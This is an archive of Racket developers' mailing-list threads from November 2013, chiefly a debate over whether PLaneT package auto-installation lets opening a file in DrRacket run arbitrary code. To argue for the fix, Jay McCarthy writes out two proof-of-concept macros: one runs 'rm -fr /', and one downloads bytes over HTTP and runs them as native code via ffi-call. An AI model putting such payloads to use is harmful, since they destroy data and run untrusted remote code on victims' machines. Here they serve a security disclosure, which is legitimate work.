  see how it could do that, actually. Are you saying that you tried this?
 
  Yes. I put that in a file and opened it up with DrRacket then got the
  Can't download a Planet package error message as-if the install were
  stopped.
 
  Can you explain how you have configured DrRacket to disable the
  security
  guard that is installed by the background expansion process, please?
 
  Perhaps my trial was bad because the security guard would have stopped
  the network access but my error stopped the library from attempting
  the network access?
 
  Regardless, Check Syntax (I think?) or compilation in Racket would
  have installed it. [Now, obviously the same macro tricks could
  explicitly call download/install-pkg... but I think it is a bit feeble
  to say Check Syntax should make no attempt to prevent package
  installation.]
 
  Meanwhile, I would like to point out that your commit has completely
  disabled planet. No packages can be installed. Did you run any test
  suites
  after making this change?
 
  I tried to install and fetch some packages. I see now that I committed
  in the racket/collects directory but the changes to make that work
  were in the pkgs/planet-pkgs directory so I stupidly missed them.
 
  Jay
 
  Robby
 
  _
   Racket Developers list:
   http://lists.racket-lang.org/dev


_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27862: master branch updated

2013-11-27 Thread Jay McCarthy
There is an important change in this commit. Since we've created the
release branch for 6.0, I think we should stop automatically
installing and executing arbitrary code when people open files in
DrRacket. Currently the error message suggests using raco planet but
I think we need a bit of a GUI shim for other users.

On Wed, Nov 27, 2013 at 3:40 PM,  j...@racket-lang.org wrote:
 jay has updated `master' from 033065f632 to 60ae164d05.
   http://git.racket-lang.org/plt/033065f632..60ae164d05

 =[ 6 Commits ]==
 Directory summary:
   57.6% pkgs/plt-services/meta/pkg-index/official/static/
   17.6% pkgs/plt-services/meta/pkg-index/official/
   22.0% racket/collects/planet/private/

 ~~

 2413278 Jay McCarthy j...@racket-lang.org 2013-11-27 14:51
 :
 | moving delete button
 :
   M .../meta/pkg-index/official/static/index.html |  2 ++
   M .../meta/pkg-index/official/static/index.js   | 16 
 +---
   M .../meta/pkg-index/official/static/style.css  |  4 

 ~~

 113696c Jay McCarthy j...@racket-lang.org 2013-11-27 14:54
 :
 | edit on lose focus
 :
   M pkgs/plt-services/meta/pkg-index/official/static/index.js | 4 +++-

 ~~

 cf1755f Jay McCarthy j...@racket-lang.org 2013-11-27 15:19
 :
 | Remove arbitrary code execution exploit from Racket and DrRacket
 |
 | This is particularly bad with DrRacket's online syntax checking, which
 | causes opening a file to download and executed aribtrary code.
 :
   M racket/collects/planet/private/resolver.rkt | 8 

 ~~

 98df30c Jay McCarthy j...@racket-lang.org 2013-11-27 15:30
 :
 | deleting static s3 content properly
 :
   M pkgs/plt-services/meta/pkg-index/official/static.rkt | 11 ++-

 ~~

 7b7a5ad Jay McCarthy j...@racket-lang.org 2013-11-27 15:33
 :
 | increase pkg test timeout
 :
   M pkgs/plt-services/meta/props | 2 +-

 ~~

 60ae164 Jay McCarthy j...@racket-lang.org 2013-11-27 15:39
 :
 | Removing add tag button when not logged in re mflatt
 :
   M pkgs/plt-services/meta/pkg-index/official/static/index.js  | 11 
 +--
   M .../plt-services/meta/pkg-index/official/static/index.html |  2 +-

 =[ Overall Diff ]===

 pkgs/plt-services/meta/pkg-index/official/static.rkt
 
 --- OLD/pkgs/plt-services/meta/pkg-index/official/static.rkt
 +++ NEW/pkgs/plt-services/meta/pkg-index/official/static.rkt
 @@ -304,7 +304,16 @@
(cache /pkgs pkgs)
(cache /pkgs-all pkgs-all)
(for ([p (in-list pkg-list)])
 -(cache (format /pkg/~a p) (format pkg/~a p
 +(cache (format /pkg/~a p) (format pkg/~a p)))
 +
 +  (let ()
 +(define pkg-path (build-path static-path pkg))
 +(for ([f (in-list (directory-list pkg-path))]
 +  #:unless (regexp-match #json$ (path-string f))
 +  #:unless (member (path-string f) pkg-list))
 +  (with-handlers ([exn:fail:filesystem? void])
 +(delete-file (build-path pkg-path f))
 +(delete-file (build-path pkg-path (path-add-suffix f #.json)))

  (module+ main
(require racket/cmdline)

 pkgs/plt-services/meta/pkg-index/official/static/index.html
 ~~~
 --- OLD/pkgs/plt-services/meta/pkg-index/official/static/index.html
 +++ NEW/pkgs/plt-services/meta/pkg-index/official/static/index.html
 @@ -54,12 +54,14 @@
  trtdLast Edit:/tdtdspan id=pi_last_edit/span/td/tr
  trtdDescription:/tdtdspan 
 id=pi_description/span/td/tr
  trtdTags:/tdtdspan id=pi_tags/span/td/tr
 -trtd/tdtdinput type=text id=pi_add_tag_text class=text 
 ui-widget-content ui-corner-all /button id=pi_add_tag_buttonAdd 
 Tag/button/td/tr
 +tr id=pi_add_tag_rowtd/tdtdinput type=text 
 id=pi_add_tag_text class=text ui-widget-content ui-corner-all /button 
 id=pi_add_tag_buttonAdd Tag/button/td/tr
  tr id=pi_versions_rowtdVersions Exceptions/tdtdtable 
 id=pi_versions/table/td/tr
  tr id=pi_add_version_rowtd/tdtdlabelVersion:/label 
 input type=text id=pi_add_version_text class=text ui-widget-content 
 ui-corner-all /br /labelSource:/label input type=text 
 id=pi_add_version_source_text class=text ui-widget-content ui-corner-all 
 /button id=pi_add_version_buttonAdd Version Exception/button/td/tr
  tr id=pi_dependencies_rowtdDependencies/tdtdspan 
 id=pi_dependencies/span/td/tr
  tr id=pi_conflicts_rowtdConflicts/tdtdspan 
 id=pi_conflicts/span/td/tr
  trtdModules/tdtdspan id=pi_modules/span/td/tr
 +tr id=pi_delete_rowtd colspan=2button 
 id=pi_delete_buttonDelete
 +Package/buttonbr /(there is no undo!)/td/tr
/table

div id=pi_install class=installInstall this package 
 with:brbrttraco pkg install span 
 id=pi_name_inst/span/ttbrbror, with the 'File|Install Package...' 
 menu option in DrRacket./div

 pkgs/plt

Re: [racket-dev] [plt] Push #27862: master branch updated

2013-11-27 Thread Jay McCarthy
If I have background expansion on, then when I open that file it
installs the package.

Since once a Planet package is installed it is set up and compiled
that means that this code:

#lang racket
(attack)
(define-syntax (attack stx)
 (system rm -fr /))

is automatically run as soon as I open it up.

Furthermore, I could do something like this:

#lang racket
(attack)
(define-syntax (attack stx)
 (local-require (only-in '#%foreign ffi-call _int32)
 net/http-client)

(define-values (s hs ip)
  (http-sendrecv example.com /))
(define bs (port-bytes ip))
(printf got: ~v\n bs)
(define weird-c-code bs)

((ffi-call weird-c-code null _int32)))

and really execute any C code that I could find on the Internet.

This isn't just a DrRacket problem though. We should not be
arbitrarily installing things on people's machines without their
consent. This power is too much.

The new system of suggesting an install or allowing an opt-in for
certain vetted packages is much kinder.

Jay




On Wed, Nov 27, 2013 at 5:35 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 Can you demonstrate how to make this happen? Opening a file with these
 contents, for example, doesn't install anything.

 #lang racket
 (require (planet planet/test-connection:1:0/test-connection))

 As for automatically executing arbitrary code, I think you must mean
 something more precise here. Perhaps code that hasn't already been
 explicitly installed? If that's what you mean, then I think I'm also
 missing how this happens.

 Robby


 On Wed, Nov 27, 2013 at 4:42 PM, Jay McCarthy j...@racket-lang.org wrote:

 There is an important change in this commit. Since we've created the
 release branch for 6.0, I think we should stop automatically
 installing and executing arbitrary code when people open files in
 DrRacket. Currently the error message suggests using raco planet but
 I think we need a bit of a GUI shim for other users.

 On Wed, Nov 27, 2013 at 3:40 PM,  j...@racket-lang.org wrote:
  jay has updated `master' from 033065f632 to 60ae164d05.
http://git.racket-lang.org/plt/033065f632..60ae164d05
 
  =[ 6 Commits ]==
  Directory summary:
57.6% pkgs/plt-services/meta/pkg-index/official/static/
17.6% pkgs/plt-services/meta/pkg-index/official/
22.0% racket/collects/planet/private/
 
  ~~
 
  2413278 Jay McCarthy j...@racket-lang.org 2013-11-27 14:51
  :
  | moving delete button
  :
M .../meta/pkg-index/official/static/index.html |  2 ++
M .../meta/pkg-index/official/static/index.js   | 16
  +---
M .../meta/pkg-index/official/static/style.css  |  4 
 
  ~~
 
  113696c Jay McCarthy j...@racket-lang.org 2013-11-27 14:54
  :
  | edit on lose focus
  :
M pkgs/plt-services/meta/pkg-index/official/static/index.js | 4 +++-
 
  ~~
 
  cf1755f Jay McCarthy j...@racket-lang.org 2013-11-27 15:19
  :
  | Remove arbitrary code execution exploit from Racket and DrRacket
  |
  | This is particularly bad with DrRacket's online syntax checking, which
  | causes opening a file to download and executed aribtrary code.
  :
M racket/collects/planet/private/resolver.rkt | 8 
 
  ~~
 
  98df30c Jay McCarthy j...@racket-lang.org 2013-11-27 15:30
  :
  | deleting static s3 content properly
  :
M pkgs/plt-services/meta/pkg-index/official/static.rkt | 11
  ++-
 
  ~~
 
  7b7a5ad Jay McCarthy j...@racket-lang.org 2013-11-27 15:33
  :
  | increase pkg test timeout
  :
M pkgs/plt-services/meta/props | 2 +-
 
  ~~
 
  60ae164 Jay McCarthy j...@racket-lang.org 2013-11-27 15:39
  :
  | Removing add tag button when not logged in re mflatt
  :
M pkgs/plt-services/meta/pkg-index/official/static/index.js  | 11
  +--
M .../plt-services/meta/pkg-index/official/static/index.html |  2 +-
 
  =[ Overall Diff ]===
 
  pkgs/plt-services/meta/pkg-index/official/static.rkt
  
  --- OLD/pkgs/plt-services/meta/pkg-index/official/static.rkt
  +++ NEW/pkgs/plt-services/meta/pkg-index/official/static.rkt
  @@ -304,7 +304,16 @@
 (cache /pkgs pkgs)
 (cache /pkgs-all pkgs-all)
 (for ([p (in-list pkg-list)])
  -(cache (format /pkg/~a p) (format pkg/~a p
  +(cache (format /pkg/~a p) (format pkg/~a p)))
  +
  +  (let ()
  +(define pkg-path (build-path static-path pkg))
  +(for ([f (in-list (directory-list pkg-path))]
  +  #:unless (regexp-match #json$ (path-string f))
  +  #:unless (member (path-string f) pkg-list))
  +  (with-handlers ([exn:fail:filesystem? void])
  +(delete-file (build-path pkg-path f))
  +(delete-file (build-path pkg-path (path-add-suffix f
  #.json)))
 
   (module+ main
 (require racket/cmdline)
 
  pkgs/plt-services/meta/pkg-index/official/static/index.html

Re: [racket-dev] [plt] Push #27862: master branch updated

2013-11-27 Thread Jay McCarthy
On Wed, Nov 27, 2013 at 6:27 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:



 On Wed, Nov 27, 2013 at 7:21 PM, Jay McCarthy j...@racket-lang.org wrote:

 If I have background expansion on, then when I open that file it
 installs the package.


 As I wrote in my previous message, it doesn't do that for me. And I don't
 see how it could do that, actually. Are you saying that you tried this?

Yes. I put that in a file and opened it up with DrRacket then got the
Can't download a Planet package error message as-if the install were
stopped.

 Can you explain how you have configured DrRacket to disable the security
 guard that is installed by the background expansion process, please?

Perhaps my trial was bad because the security guard would have stopped
the network access but my error stopped the library from attempting
the network access?

Regardless, Check Syntax (I think?) or compilation in Racket would
have installed it. [Now, obviously the same macro tricks could
explicitly call download/install-pkg... but I think it is a bit feeble
to say Check Syntax should make no attempt to prevent package
installation.]

 Meanwhile, I would like to point out that your commit has completely
 disabled planet. No packages can be installed. Did you run any test suites
 after making this change?

I tried to install and fetch some packages. I see now that I committed
in the racket/collects directory but the changes to make that work
were in the pkgs/planet-pkgs directory so I stupidly missed them.

Jay

 Robby

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27864: master branch updated

2013-11-27 Thread Jay McCarthy
I left the other commit in place so that even if users customize
download? and install? the command-line tool will continue to work.

Jay

On Wed, Nov 27, 2013 at 7:23 PM,  j...@racket-lang.org wrote:
 jay has updated `master' from c980182b6b to 1741e1b0d1.
   http://git.racket-lang.org/plt/c980182b6b..1741e1b0d1

 =[ 2 Commits ]==
 Directory summary:
   44.7% pkgs/planet-pkgs/planet-doc/planet/
   55.2% racket/collects/planet/private/

 ~~

 680b6f4 Jay McCarthy j...@racket-lang.org 2013-11-27 19:09
 :
 | Revert Remove arbitrary code execution exploit from Racket and DrRacket
 |
 | This reverts commit cf1755fc173cef39c3c4592011623269735084c0.
 :
   M racket/collects/planet/private/resolver.rkt | 8 

 ~~

 1741e1b Jay McCarthy j...@racket-lang.org 2013-11-27 19:22
 :
 | Explain how to control whether Planet auto-installation is enabled
 :
   M pkgs/planet-pkgs/planet-doc/planet/planet.scrbl | 10 ++

 =[ Overall Diff ]===

 pkgs/planet-pkgs/planet-doc/planet/planet.scrbl
 ~~~
 --- OLD/pkgs/planet-pkgs/planet-doc/planet/planet.scrbl
 +++ NEW/pkgs/planet-pkgs/planet-doc/planet/planet.scrbl
 @@ -8,6 +8,7 @@
   planet/util
   planet/version
   planet/syntax
 + planet/resolver
   planet/scribble)
 scribble/bnf)

 @@ -160,6 +161,15 @@ Once that is complete, PLaneT will use that version of 
 the
  package for any subsequent @racket[require]s and won't try
  to use the network.

 +If you wish to ensure that PLaneT won't use the network even if your
 +operating system allows it, you can use the @racket[download?]
 +parameter of the @racketmodname[planet/resolver] module to control
 +whether it attempts to download files. Similarly, you can use the
 +@racket[install?] parameter to prevent installation. Finally, you can
 +block access at the operating system level to the path returned by
 +@racket[(PLANET-BASE-DIR)] to control which operating system users can
 +install PLaneT packages.
 +
  @subsection{Fine-Grained Control Over Package Imports}

  The PLaneT client is designed to balance two competing goals:

 racket/collects/planet/private/resolver.rkt
 ~~~
 --- OLD/racket/collects/planet/private/resolver.rkt
 +++ NEW/racket/collects/planet/private/resolver.rkt
 @@ -219,9 +219,9 @@ See the scribble documentation on the planet/resolver 
 module.
   (struct-out exn:fail:planet))

  ;; if #f, will not install packages and instead raise a exn:fail:install? 
 error
 -(define install? (make-parameter #f))
 +(define install? (make-parameter #t))
  ;; if #f, will not download packages and instead raise a exn:fail:install? 
 error
 -(define download? (make-parameter #f))
 +(define download? (make-parameter #t))
  (define-struct (exn:fail:planet exn:fail) ())

  ;; update doc index only once for a set of installs:
 @@ -541,7 +541,7 @@ See the scribble documentation on the planet/resolver 
 module.
(unless (download?)
  (raise (make-exn:fail:planet
  (format
 - PLaneT error: cannot download package ~s without permission. 
 Give permission with download? parameter or use 'raco planet install'
 + PLaneT error: cannot download package ~s since the download? 
 parameter is set to #f
   (list (car (pkg-spec-path pkg)) (pkg-spec-name pkg)))
  (current-continuation-marks
((if (USE-HTTP-DOWNLOADS?) download-package/http download-package/planet)
 @@ -577,7 +577,7 @@ See the scribble documentation on the planet/resolver 
 module.
(unless (install?)
  (raise (make-exn:fail:planet
  (format
 - PLaneT error: cannot install package ~s without permission. 
 Give permission with download? parameter or use 'raco planet install'
 + PLaneT error: cannot install package ~s since the install? 
 parameter is set to #f
   (list (car pkg-path) pkg-name maj min))
  (current-continuation-marks
(define owner (car pkg-path))
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Should `dynamic-require`d libraries be in package dependencies?

2013-11-26 Thread Jay McCarthy
My position is that regardless of how a package is implemented
(whether with require, dynamic-require, etc) it should work after
being installed, so things that are necessary should be listed as
dependencies.

If a package has additional optional features that make use of other
installed packages, then they don't need to be listed even if their
absence causes a runtime exception on certain functions. For example,
I could imagine a version of the db library that didn't require every
particular db connector but would still provide the exports, but just
error. (Although in that case, I think it might be nicer for the
connector to provide db/sqlite and so on.)

Jay


On Mon, Nov 25, 2013 at 11:55 PM, Asumu Takikawa as...@ccs.neu.edu wrote:
 Hi all,

 Should dynamically required libraries induce a package dependency?

 Take for example the xrepl-lib package. It currently depends on five
 other packages, but I think two of them can be dropped and `raco setup`
 won't complain.

 On the other hand, XREPL may `dynamic-require` the macro stepper (one of
 the dependencies that can be dropped). The same is true for DrRacket
 (not listed as a dependency), but it doesn't make much sense to make the
 XREPL package depend on DrRacket.

 Is there a best practice for these kinds of cases yet?

 Cheers,
 Asumu
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27825: master branch updated

2013-11-26 Thread Jay McCarthy
I agree that it is different.

I disagree that this is a problem.

The documentation says that is executes the code with a time
restriction. This implies to me that (call-with-limits X #f t) should
not use more than X secs of resources, but it is trivial to produce
counter-examples. Without this change, call-with-limits is totally
useless for limiting the time taken by untrustworthy code.

The fact that there was no test case that failed with my change tells
me that the code was not written to make one decision or another. I
charitably assume that this was because the good (current) behavior is
what was wanted but the variety of attacks on it were not thought of.

Nevertheless, if you and Matthew think this is a bad change, we should
change everywhere in racket/sandbox that mentions time restrictions to
clarify that they don't actually restrict time of the code.

Jay



On Mon, Nov 25, 2013 at 3:02 AM, Eli Barzilay e...@barzilay.org wrote:
 IIUC, this makes the limit thing -- and therefore sandboxes -- behave
 *very* differently.  The original intention was that the time limit is
 on something similar to what you get with `time'.

 A very visible way to see the effect of this change:

 - ,r racket/sandbox
 - (define e (make-evaluator 'racket))
 - (e '(define foo 1))
 - (e '(thread (lambda () (sleep 5) (set! foo 2
 #thread

 This used to happen immediately, with the thread continuing to run
 inside the sandbox.  After your change, the last line hangs until the
 thread is done.  Using a bigger sleeping time will make it throw an
 error when it previously didn't.  Similarly,

 (make-module-evaluator #lang racket (thread (λ() (sleep 99

 used to work and will throw an error now, and of course, any code that
 runs some kind of sandboxed server will probably break now.

 I think that instead of this, it'd be better to write a helper that
 runs a thunk and waits for it and for any generated threads to end,
 and suggest using this helper when you want to wait for all threads in
 a `with-limits'.  (It might also be useful in the profiler, where a
 similar kind of wait-for-all is done.)


 On Friday, j...@racket-lang.org wrote:
 jay has updated `master' from e0026f5de4 to 79f8636e1e.
   http://git.racket-lang.org/plt/e0026f5de4..79f8636e1e

 =[ One Commit ]=
 Directory summary:
   52.6% pkgs/racket-pkgs/racket-test/tests/racket/
   45.6% pkgs/sandbox-lib/racket/

 ~~

 79f8636 Jay McCarthy j...@racket-lang.org 2013-11-22 14:25
 :
 | Ensure that threads created within call-with-limits are accounted
 | during the time/space limits
 :
   A pkgs/racket-pkgs/racket-test/tests/racket/sandbox.rkt
   M pkgs/sandbox-lib/racket/sandbox.rkt   | 81 
 ++--
   M .../racket-test/tests/racket/sandbox.rktl | 48 
   M .../scribblings/reference/sandbox.scrbl   |  4 +

 --
   ((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
 http://barzilay.org/   Maze is Life!

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27825: master branch updated

2013-11-26 Thread Jay McCarthy
How can you change the documentation to say anything other than
Wherever you see an thunk having a time restriction, don't think that
that means the thunk is restricted to using only a certain amount of
time? We'd have to say something like Time in this content is a
-first-order- notion of time, despite being in Racket where we
generally try to go out of our way to make sure everything works in
every higher order context. My position is that racket/sandbox has
always been broken and that any reasonable reader of the documentation
would have expected this behavior all along. (In fact, both Matthew
and I did think it did this and were surprised that it didn't.)

On Tue, Nov 26, 2013 at 9:54 AM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 I think that, in this case, changing the documentation and adding the
 functionality with a different name is the way to go.

 Robby



 On Tue, Nov 26, 2013 at 10:49 AM, Jay McCarthy j...@racket-lang.org wrote:

 I agree that it is different.

 I disagree that this is a problem.

 The documentation says that is executes the code with a time
 restriction. This implies to me that (call-with-limits X #f t) should
 not use more than X secs of resources, but it is trivial to produce
 counter-examples. Without this change, call-with-limits is totally
 useless for limiting the time taken by untrustworthy code.

 The fact that there was no test case that failed with my change tells
 me that the code was not written to make one decision or another. I
 charitably assume that this was because the good (current) behavior is
 what was wanted but the variety of attacks on it were not thought of.

 Nevertheless, if you and Matthew think this is a bad change, we should
 change everywhere in racket/sandbox that mentions time restrictions to
 clarify that they don't actually restrict time of the code.

 Jay



 On Mon, Nov 25, 2013 at 3:02 AM, Eli Barzilay e...@barzilay.org wrote:
  IIUC, this makes the limit thing -- and therefore sandboxes -- behave
  *very* differently.  The original intention was that the time limit is
  on something similar to what you get with `time'.
 
  A very visible way to see the effect of this change:
 
  - ,r racket/sandbox
  - (define e (make-evaluator 'racket))
  - (e '(define foo 1))
  - (e '(thread (lambda () (sleep 5) (set! foo 2
  #thread
 
  This used to happen immediately, with the thread continuing to run
  inside the sandbox.  After your change, the last line hangs until the
  thread is done.  Using a bigger sleeping time will make it throw an
  error when it previously didn't.  Similarly,
 
  (make-module-evaluator #lang racket (thread (λ() (sleep 99
 
  used to work and will throw an error now, and of course, any code that
  runs some kind of sandboxed server will probably break now.
 
  I think that instead of this, it'd be better to write a helper that
  runs a thunk and waits for it and for any generated threads to end,
  and suggest using this helper when you want to wait for all threads in
  a `with-limits'.  (It might also be useful in the profiler, where a
  similar kind of wait-for-all is done.)
 
 
  On Friday, j...@racket-lang.org wrote:
  jay has updated `master' from e0026f5de4 to 79f8636e1e.
http://git.racket-lang.org/plt/e0026f5de4..79f8636e1e
 
  =[ One Commit
  ]=
  Directory summary:
52.6% pkgs/racket-pkgs/racket-test/tests/racket/
45.6% pkgs/sandbox-lib/racket/
 
  ~~
 
  79f8636 Jay McCarthy j...@racket-lang.org 2013-11-22 14:25
  :
  | Ensure that threads created within call-with-limits are accounted
  | during the time/space limits
  :
A pkgs/racket-pkgs/racket-test/tests/racket/sandbox.rkt
M pkgs/sandbox-lib/racket/sandbox.rkt   | 81
  ++--
M .../racket-test/tests/racket/sandbox.rktl | 48 
M .../scribblings/reference/sandbox.scrbl   |  4 +
 
  --
((lambda (x) (x x)) (lambda (x) (x x)))  Eli Barzilay:
  http://barzilay.org/   Maze is Life!

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system status

2013-11-21 Thread Jay McCarthy
On Thu, Nov 21, 2013 at 9:39 AM, Greg Hendershott
greghendersh...@gmail.com wrote:
 I think the interesting point is that you could make a (mostly) static
 web service, in which GET requests have ULRs that hit a static file
 server like Amazon S3, and only the PUT/POST/PATCH requests go to some
 live server.

 What about dynamic GETs like search by name or tag?

 1. One choice is, don't support search. Client has to GET the full
 catalog, or GET a list of _all_ packages with tag X, and filter
 further itself. Not entirely unreasonable when there are hundreds not
 thousands of packages.

This is basically how it works. The /index.html from S3 reads the
/pkgs-all.json which is a JSON dump of the entire database and then
renders it. If you do any active stuff, then you send requests to
the dynamic server. /pkgs-all.json isn't the only available file
though.


-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] backwards incompatibility (was Re: `define-serializable-struct` and the `deserialize-info...` export)

2013-11-08 Thread Jay McCarthy
I agree

On Fri, Nov 8, 2013 at 12:39 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 (I think it is okay.)

 But here's a chance for me to point out something I heard about in a
 conversation with Satnam Singh at OOPSLA about how Google works that it
 seems like would be a nice fit for us. Here's my adaptation to our world:
 when you push out what some might consider a change that breaks clients
 (like this one where you also hope to avoid a new package) you are obliged
 to submit pull requests on all ring-0 packages to (at a min) get all test
 cases to pass.

 I guess you did that here, at least for the ring-0 packages in the racket
 git repo, which is where the I found ... comment comes from?

 Robby


 On Fri, Nov 8, 2013 at 12:35 PM, Matthew Flatt mfl...@cs.utah.edu wrote:

 Currently, `(define-serializable-struct id )` expands to `(provide
 deserialize-info:id-v0)`. The `deserialize-info...` identifier needs to
 be exported to make things work, but the export is a hassle: the
 programmer doesn't care about it, it's not usually documented,
 re-exporting modules don't want to re-export it, and so on.

 I'm planning to change `define-serializable-struct` so that the export
 is put in a `deserialize-info` submodule, where it should cause less
 trouble. This is a slightly backward-incompatible change; I found a
 couple of modules that explicitly excluded `deserialize-info...` on
 import, and so those exclusions would have to be dropped.

 The change could also be backward-incompatible by changing the protocol
 for providers of deserialization other than `define-serializeable-struct`.
 That problem is easier to address: `deserialize` can try a
 `deserialze-info` submodule first, and if the export isn't found, then
 it can try the original module.

 Ok?

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] `collection-path' Considered Brittle

2013-11-04 Thread Jay McCarthy
You should check out raco test for collection-paths:

https://github.com/plt/racket/blob/master/pkgs/compiler-pkgs/compiler-lib/compiler/commands/test.rkt#L168

On Mon, Nov 4, 2013 at 12:56 PM, Vincent St-Amour stamo...@ccs.neu.edu wrote:
 At Mon, 4 Nov 2013 11:49:44 -0600,
 Robby Findler wrote:
 collection-path is legacy and should generally be removed when you find it
 (I think I fixed two uses of it Saturday in fact).

 The documentation does mention that `collection-file-path' is usually
 preferred, but it doesn't make it clear that `collection-path' is
 legacy. I'll think of a stronger wording.

 But hopefully you could use collection-file-path in most cases instead of a
 collections-path function.

 I pushed a fix for the macro stepper, using `collections-file-path'.

 Vincent
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] how to test rackunit

2013-11-02 Thread Jay McCarthy
: This is an error message
   context...:

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/result.rkt:99:3

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/test-suite.rkt:28:2
the-tests

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/test-suite.rkt:60:0:
  apply-test-suite

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/text-ui.rkt:238:0:
  run-tests14

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/run-tests.rkt:
  [running body]
f88
loop
loop
loop
f88

 /home/dtp/src/dtp-racket/pkgs/compiler-pkgs/compiler-lib/compiler/commands/test.rkt:
  [running body]
/home/dtp/src/dtp-racket/racket/collects/raco/raco.rkt: [running body]
/home/dtp/src/dtp-racket/racket/collects/raco/main.rkt: [running body]

 
 
 Failures  Error within a check
 Error within a check
 ERROR
 name:   check
 location:   
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/all-rackunit-tests.rkt:51:37
 params: #procedure:error
 'foo
 'bar
 error: contract violation
   expected: string?
   given: 'bar
   argument position: 2nd
   other arguments...:
'foo
   context...:

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/check.rkt:133:29

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/check.rkt:119:21:
  check491437

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/result.rkt:99:3

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/test-suite.rkt:28:2
the-tests

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/private/test-suite.rkt:60:0:
  apply-test-suite

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-lib/rackunit/text-ui.rkt:238:0:
  run-tests14

 /home/dtp/src/dtp-racket/pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/run-tests.rkt:
  [running body]
f88
loop
loop
loop
f88

 /home/dtp/src/dtp-racket/pkgs/compiler-pkgs/compiler-lib/compiler/commands/test.rkt:
  [running body]
/home/dtp/src/dtp-racket/racket/collects/raco/raco.rkt: [running body]
/home/dtp/src/dtp-racket/racket/collects/raco/main.rkt: [running body]

 
 0 success(es) 3 failure(s) 2 error(s) 5 test(s) run
 5
 raco test: 
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/standalone-check-test.rkt
 Oh HAI!
 I didn't run
 raco test: 
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/standalone-test-case-test.rkt
 raco test: pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/standalone.rkt
 raco test: 
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/test-case-test.rkt
 raco test: 
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/test-suite-test.rkt
 raco test: pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/test-test.rkt
 raco test: pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/text-ui-test.rkt
 raco test: 
 pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/text-ui-util-test.rkt
 55/340 test failures
 raco test: pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/tl.rkt
 raco test: pkgs/rackunit-pkgs/rackunit-test/tests/rackunit/util-test.rkt
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] accessing @deftech terms in the reference from the guide

2013-10-23 Thread Jay McCarthy
If a @tech references something from another document, you need to use
the #:doc argument to @tech. I find this very inconvenient and a
blemish in the system. You can make it not so painful by defining the
technical term you will use many times in one place:

https://github.com/plt/racket/blob/master/pkgs/web-server-pkgs/web-server-doc/web-server/scribblings/formlets.scrbl#L7

On Wed, Oct 23, 2013 at 6:22 PM, David T. Pierson d...@mindstory.com wrote:
 Are terms defined via @deftech in the Racket reference supposed to be
 accessible via @tech from the Racket guide?

 In pkgs/racket-pkgs/racket-doc/scribblings/reference/evts.scrbl there
 exists a line that looks like:

   ... @deftech{synchronizable event} ...

 In my pkgs/racket-pkgs/racket-doc/scribblings/guide/concurrency.scrbl I
 have:

   ... @tech{synchronizable event}s. ...

 When I build, I get:

   raco setup: --- building documentation ---
   raco setup: WARNING: undefined tag in 
 pkgs/racket-doc/scribblings/guide/guide.scrbl:
   raco setup:  (tech synchronizable event)

